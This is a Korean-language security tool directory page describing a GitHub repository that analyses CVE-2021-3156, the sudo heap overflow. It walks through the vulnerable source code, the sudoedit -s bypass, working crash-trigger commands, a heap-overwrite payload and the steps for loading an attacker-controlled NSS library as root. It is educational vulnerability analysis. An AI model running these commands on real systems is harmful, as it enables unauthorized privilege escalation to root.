Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-3156 — # CVE-2021-3156 교육용 익스플로잇 구현 및 분석 sudo의 set_cmnd() 함수에서 발생하는 힙 기반 버퍼 오버플로우인 CVE-2021-3156에 대한 교육용 익스플로잇 구현 및 분석으로, 조작된 명령줄 인수를 통해 루트 권한으로의 권한 상승을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/musergi/cve-2021-3156
Privilege EscalationVulnerability AnalysisExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubmusergi/cve-2021-3156

CVE-2021-3156

# CVE-2021-3156 교육용 익스플로잇 구현 및 분석 sudo의 set_cmnd() 함수에서 발생하는 힙 기반 버퍼 오버플로우인 CVE-2021-3156에 대한 교육용 익스플로잇 구현 및 분석으로, 조작된 명령줄 인수를 통해 루트 권한으로의 권한 상승을 가능하게 합니다.

저장소 보기
24년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-3156

이 문서에서는 이 저장소의 코드를 이해하고 그것이 왜 동작하는지 이해하는 데 필요한 모든 지식을 담고 있습니다. 모든 설명은 QUALYS가 작성한 보고서를 기반으로 합니다. 해당 보고서에는 더 많은 형태의 익스플로잇이 설명되어 있습니다.

요구 사항

취약한 sudo 버전은 기본 구성에서 1.8.2부터 1.8.31p2까지의 레거시 버전과 1.9.0부터 1.9.5p1까지의 모든 안정 버전입니다.

이 저장소는 Ubuntu 20.04(sudo 1.8.31)에서 테스트되었습니다. 이 환경에서 루트 권한으로 터미널을 엽니다.

분석

sudo가 셸 모드로 명령을 실행하기 위해 실행되면:

  • sudo의 MODE_SHELL 플래그를 설정하는 -s 옵션을 통해서.
  • sudo의 MODE_SHELL 및 MODE_LOGIN_SHELL 플래그를 설정하는 -i 옵션을 통해서.

그런 다음 sudo의 main() 시작 부분에서 parse_args()는 모든 명령줄 인수를 연결하고 모든 메타 문자를 백슬래시로 이스케이프하여 argv를 다시 작성합니다.

root@kitploit:~
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* quote potential meta characters */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* plugin may override shell */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

나중에 sudoers_policy_main()에서 set_cmnd()는 명령줄 인수를 힙 기반 버퍼 user_args에 연결하고 "sudoers 매칭 및 로깅 목적"으로 메타 문자를 언이스케이프합니다:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

명령줄 인수가 단일 백슬래시 문자로 끝나면:

  • from[0]은 백슬래시 문자이고 from[1]은 널 종결자입니다.
  • from이 증가하여 널 종결자를 가리킵니다.
  • 널 종결자가 user_args 버퍼로 복사되고 from이 다시 증가하여 범위를 벗어납니다.
  • while 루프는 범위를 벗어난 문자를 읽어 user_args 버퍼로 복사합니다.

다시 말해, set_cmnd()는 힙 기반 버퍼 오버플로에 취약합니다. user_args 버퍼로 복사되는 범위를 벗어난 문자들이 버퍼 크기에 포함되지 않았기 때문입니다.

그러나 이론적으로는 어떤 명령줄 인수도 단일 백슬래시 문자로 끝날 수 없습니다. MODE_SHELL 또는 MODE_LOGIN_SHELL이 설정되면(취약한 코드에 도달하기 위한 필수 조건), MODE_SHELL이 설정되고 parse_args()가 이미 백슬래시를 포함한 모든 메타 문자를 이스케이프했기 때문입니다(즉, 모든 단일 백슬래시를 두 번째 백슬래시로 이스케이프했습니다).

그러나 실제로는 set_cmnd()의 취약한 코드와 parse_args()의 이스케이프 코드가 약간 다른 조건으로 둘러싸여 있습니다:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`

반면:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

그렇다면 우리의 질문은 이것입니다: 취약한 코드에 도달하기 위해 MODE_SHELL과 MODE_EDIT 또는 MODE_CHECK 중 하나를 설정하면서, 이스케이프 코드를 피하기 위해 기본 MODE_RUN은 설정하지 않을 수 있을까요?

대답은, 아마도 아니요입니다. MODE_EDIT(-e 옵션) 또는 MODE_CHECK(-l 옵션)을 설정하면 parse_args()가 valid_flags에서 MODE_SHELL을 제거하고, MODE_SHELL과 같은 잘못된 플래그를 지정하면 오류와 함께 종료됩니다):

root@kitploit:~
                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

그러나 우리는 허점을 찾았습니다: sudo 대신 sudoedit으로 sudo를 실행하면 parse_args()가 자동으로 MODE_EDIT를 설정하지만 valid_flags를 재설정하지 않으며, 기본적으로 valid_flags에 MODE_SHELL이 포함됩니다:

root@kitploit:~
#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

결과적으로 "sudoedit -s"를 실행하면 MODE_EDIT와 MODE_SHELL이 모두 설정되고(MODE_RUN은 설정되지 않음), 이스케이프 코드를 피하면서 취약한 코드에 도달하여 단일 백슬래시 문자로 끝나는 명령줄 인수를 통해 힙 기반 버퍼 user_args를 오버플로할 수 있습니다:

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

공격자의 관점에서 이 버퍼 오버플로는 이상적입니다:

  • 우리가 오버플로하는 user_args 버퍼의 크기를 제어합니다(연결된 명령줄 인수의 크기).
  • 오버플로 자체의 크기와 내용을 독립적으로 제어합니다(마지막 명령줄 인수 뒤에는 크기 계산에 포함되지 않는 첫 번째 환경 변수들이 자연스럽게 이어집니다).
  • 우리가 오버플로하는 버퍼에 널 바이트를 쓸 수도 있습니다(단일 백슬래시로 끝나는 모든 명령줄 인수 또는 환경 변수는 user_args에 널 바이트를 씁니다).

예를 들어, amd64 Linux에서 다음 명령은 24바이트 user_args 버퍼(32바이트 힙 청크)를 할당하고 다음 청크의 size 필드를 "A=a\0B=b\0"(0x00623d4200613d41)로, fd 필드를 "C=c\0D=d\0"(0x00643d4400633d43)로, bk 필드를 "E=e\0F=f\0"(0x00663d4600653d45)로 덮어씁니다:

root@kitploit:~
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
root@kitploit:~
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

익스플로잇

root@kitploit:~
Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905

크래시를 일으키는 함수는 glibc의 nss_load_library()(344번째 줄)이며, library 포인터가 덮어써졌기 때문입니다.

root@kitploit:~
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {

      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);

    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);

이 크래시를 익스플로잇하는 단계는 다음과 같습니다:

  • ni->library를 NULL로 덮어씁니다. 그러면 코드가 if 절에 진입하여 라이브러리 파싱 및 로딩을 시작합니다.
  • ni->name을 "X/X"로 덮어씁니다. 이 값은 원래 "systemd"를 담고 있습니다.
  • 따라서 __strcpy 줄들은 "libnss_systemd.so.2" 대신 "libnss_X/X.so.2"를 파싱합니다.
  • 그 결과 루트 권한으로 우리가 제어하는 공유 라이브러리 "libnss_X/X.so.2"를 로딩하게 됩니다. 그 안에서 루트로서 원하는 모든 작업을 수행할 수 있습니다.
도구 다운로드